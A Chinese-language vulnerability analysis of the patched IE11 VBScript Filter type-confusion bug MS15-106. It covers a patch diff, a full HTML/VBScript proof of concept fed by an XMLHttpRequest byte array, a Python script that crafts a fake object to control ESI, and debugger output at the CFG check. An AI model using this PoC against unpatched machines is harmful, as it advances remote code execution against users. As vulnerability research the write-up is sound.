导语:在2015年10月13日,著名的漏洞小组Zero Day Initiative公布了一个影响WindowsIE浏览器的漏洞ZDI-15-521,可以看一下ZDI关于这个漏洞细节的报告:
漏洞介绍
在2015年10月13日,著名的漏洞小组Zero Day Initiative公布了一个影响WindowsIE浏览器的漏洞ZDI-15-521,可以看一下ZDI关于这个漏洞细节的报告:
根据漏洞细节报告可以看出这个漏洞是由于VBScript脚本的Filter方法在处理不正确的参数时,误将一个整数当作指针指向内存中的对象,造成对象类型混淆漏洞。攻击者通过该漏洞可以远程代码执行。
微软也在第一时间修复了该漏洞MS15-106。本文将通过补丁对比,进而构造能触发该漏洞的POC。这里我使用的两个版本分别是KB3093983– MS15-106和KB3087038– MS15-094,系统环境为Windows8.1 X64 IE11,其中影响漏洞的VBScript分别是修复后vbscript.dll 5.8.9600.18052和修复前vbscript.dll5.8.9600.18036。
补丁对比
根据ZDI的漏洞细节报告,我们知道触发漏洞是VBScript的Filter函数,Filter函数在二进制代码层面是通过vbscript!VbsFilter函数实现的。在这里可以使用Bindiff(之前已经介绍过)或者Turbodiff二进制比对工具进行比对,这里我们使用Nicolae Economou的Turbodiff进行分析,可以发现VbsFilte函数改变的比较多:
可以看到vbscript!VbsFilter在补丁前后代码修改的比较多,如下图所示(左边是补丁前,右边是补丁后):
我们仔细看一下MSDN关于VBScript的Filter函数的描述:
该函数的执行流程如下:
1. 首先验证参数的个数。最少2个最多4个参数(最后的两个参数,Include和Compare是可选的)。如果没有Include,默认值设置为True;如果没有Compare,默认值设置为0,表示vbBinaryCompare. 2. 接着验证第二个参数值是否是一个字符串. 3. 获取第一个参数(InputStrings)的VarType,校验是否为一个数组. 4. 在验证上述参数完之后,调用vbscript!rtFilter完成后续工作.
在比对时我发现,补丁前后最大的不同是对Filter函数的第一个参数(InputStrings)的验证。根据Filter函数的官方文档,第一个参数是这样描述的“要搜索的一维字符串数组”。
看一下补丁前后,是如何验证传入Filter函数的参数,左边是漏洞版本,右边是补丁版本:
对补丁前后的代码进行简单的分析,代码首先调用VAR::PvarGetVarVal函数,返回值为一个指向某对象的指针。其中该指针指向内容的头2个字节表示该对象的类型,即 VarType函数的返回值,例如 vbNull (1), vbLong (3), vbString (8), vbBoolean(11).
在左边漏洞版本的代码执行流程可以看到,获取VarType值作为第一个参数,接着进行ANDEAX, 2000h操作。漏洞代码校验Filter函数的第一个参数是否为其他类型,其中0x2000表示VBScript的基本VarType数组。有关VarType的函数的信息,详见官方文档。
现在我们知道,VBScript可以处理不同类型得由VBScript创建的变量数组,因此如果调用函数VarType(arr),返回值是0x200c,其中0x2000=vbArray,0x0c=vbVariant.
在右边的补丁版本我们可以看到,校验Filter函数的第一个参数时更加严格:VarType必须是0x200c或者0x600c。在MSDN中0x600c没有进行说明,但是可以证实是VBScript中基本的VarType多维数组。因此我们现在可以知道,补丁版本的VBScript解释器确保Filter函数的第一个参数要么是一个一维变量数组,要么是一个多维变量数组,其他的类型都不会接受。换句话说就是Filter函数接受的参数只能是一维变量数组或者多维变量数组。因此补丁后的版本看起来是修复了这个对象类型混淆漏洞。
构造POC触发漏洞
要触发漏洞,关键问题是能否找到一个非变量数组,因此我们必须要通过其他方式来创建这个数组而不是通过VBScript。在网上查了很多相关资料,幸运的是在一篇帖子为“Whydoes VarType() ALWAYS return 8204 for Arrays?”中获得一些有用的信息:
可以看到VBScript可以处理那些来源不是VBScript创建的非变量数组,例如通过ActiveX对象创建的。刚开始我通过使用ADODB ActiveX objects创建了一个非变量数组,例如ADODB.Connection 和 ADODB.Recordset。然而尽管这对脚本来说是安全的,但是一旦在IE上跑起来的时候,会要求允许实例化ActiveX对象,因此该方案不可行。
幸运的是,搜索到另外一种解决方案,可以使用XMLHttpRequest,既能够满足脚本的安全性,而且不会要求用户允许。代码示例如下:
function read_file(filename){ var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", filename, false); xmlhttp.send(); return xmlhttp.responseBody; }
根据这些信息就可以编写第一个POC来触发漏洞了,创建一个可控的数组,VarType=0x2011而不是0x200c。使用JS来创建一个XMLHttpRequest对象,使用该对象可以从Web服务器获取任意数据,接着就是导致responseBody数组传入VBScript代码。如果成功的话,VBScript代码会通过MessageBox弹出对话框,最后调用Filter漏洞函数,详细的POC如下:
<html> <head> <meta http-equiv="x-ua-compatible" content="IE=10"> <title>First PoC for MS15-106</title> </head> <body> <script type="text/vbscript"> Function show_var_type(arg) Dim result '&H2011 = &H2000 (vbArray) | &H11 (vbByte) MsgBox(Hex(VarType(arg))) result = Filter(arg, "w00tw00t", 1, 1) End Function </script> <script type="text/javascript"> function triggerjs(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", "/some_data", false); xmlhttp.send(); /* XMLHttpRequest.responseBody is a VBArray object containing the raw bytes. */ return xmlhttp.responseBody; } </script> <form> <input type="button" value="PoC" name="conjs" onClick="javascript:show_var_type(triggerjs())"/> </form> </body> </html>
控制EIP
下面看看执行该POC文件是如何触发该漏洞。首先VBScript解释器会检查当前数组是否为一维数组,如果条件满足,则调用vbscript!VbsFilter函数:
继续跟进vbscript!VbsFilter函数。ECX寄存器指向的是XMLHttpRequest的请求数据,随后调用函数VAR::BstrGetVal,该函数的返回值是一个代表VBScript对象的字符串。然而由于类型混淆漏洞的存在,我们控制的任意对象数据就被解释成了VBScript对象。
跟进VAR::BstrGetVal函数我们发现,内部又会调用VAR::PvarGetVarVal函数:
VAR::PvarGetVarVal函数获取我们伪造的对象的VarType,如果结果是9,则调用VAR::ObjGetDefault:
注意,在调用VAR::ObjGetDefault前,执行了MOV ECX,DWORD [ECX+8]指令,由于ECX指向的是XMLHttpRequest的请求数据,因此该指令将我们构造的请求数据偏移值+8的数据传入ECX寄存器中,所以继续跟进VAR::ObjGetDefault,我们可以看到最终的漏洞触发点:
通过Call dword ptr[ESI]间接调用,而在这里我们已经可以完全控制ESI寄存器了,因此实际上可以进行任意代码执行了。可惜,在间接调用前还存在call ds:quard check icall fptr调用,很明显是CFG保护。所以呢,这里还需要做点其他事,绕过此处的CFG。构造一个python脚本,生成一个名为”some_data”的文件,该文件包含的是XMLHttpRequest请求的数据,包括了精心构造的VBScript对象数据:
import struct with open("some_data", "wb") as f: f.write(struct.pack('<H', 0x0009)) # varType == vbObject f.write(struct.pack('>H', 0x5051)) # dummy f.write(struct.pack('<L', 0x41414141)) # dummy # On Windows 8.1, dword[0x7ffe0270] == 0x00000003 --> call dword[0x00000003] f.write(struct.pack('<L', 0x7ffe0270)) f.write(struct.pack('<L', 0x43434343)) # dummy
注意,第一个dword值为0x0009,代表了构造的vbObject,执行流程:
VbsFilter ->rtFilter -> VAR::BstrGetVal -> VAR::PvarGetVarVal ->VAR::ObjGetDefault -> CALL DWORD [ESI].
运行该POC,附加调试器,可以捕获到IE直接crash的信息,调用CFG校验信息如下:
vbscript!VAR::ObjGetDefault+0x6f: 64af91798b0e mov ecx,dword ptr [esi] ds:0023:00000003=???????? 0:006> u @eip vbscript!VAR::ObjGetDefault+0x6f: 64af91798b0e mov ecx,dword ptr [esi] 64af917bff1534e3b364 call dword ptr[vbscript!__guard_check_icall_fptr (64b3e334)] 64af9181ff16 call dword ptr [esi] 64af91833bfc cmp edi,esp 64af91850f8529590000 jne vbscript!VAR::ObjGetDefault+0x7d(64afeab4) 64af918b85c0 test eax,eax 64af918d0f883d230100 js vbscript!VAR::ObjGetDefault+0x123c6(64b0b4d0) 64af91938d442410 lea eax,[esp+10h]
从这里可以看到,如果完整利用该漏洞的话,首先还需要bypass ASLR,接着CFG就会继续代码的执行。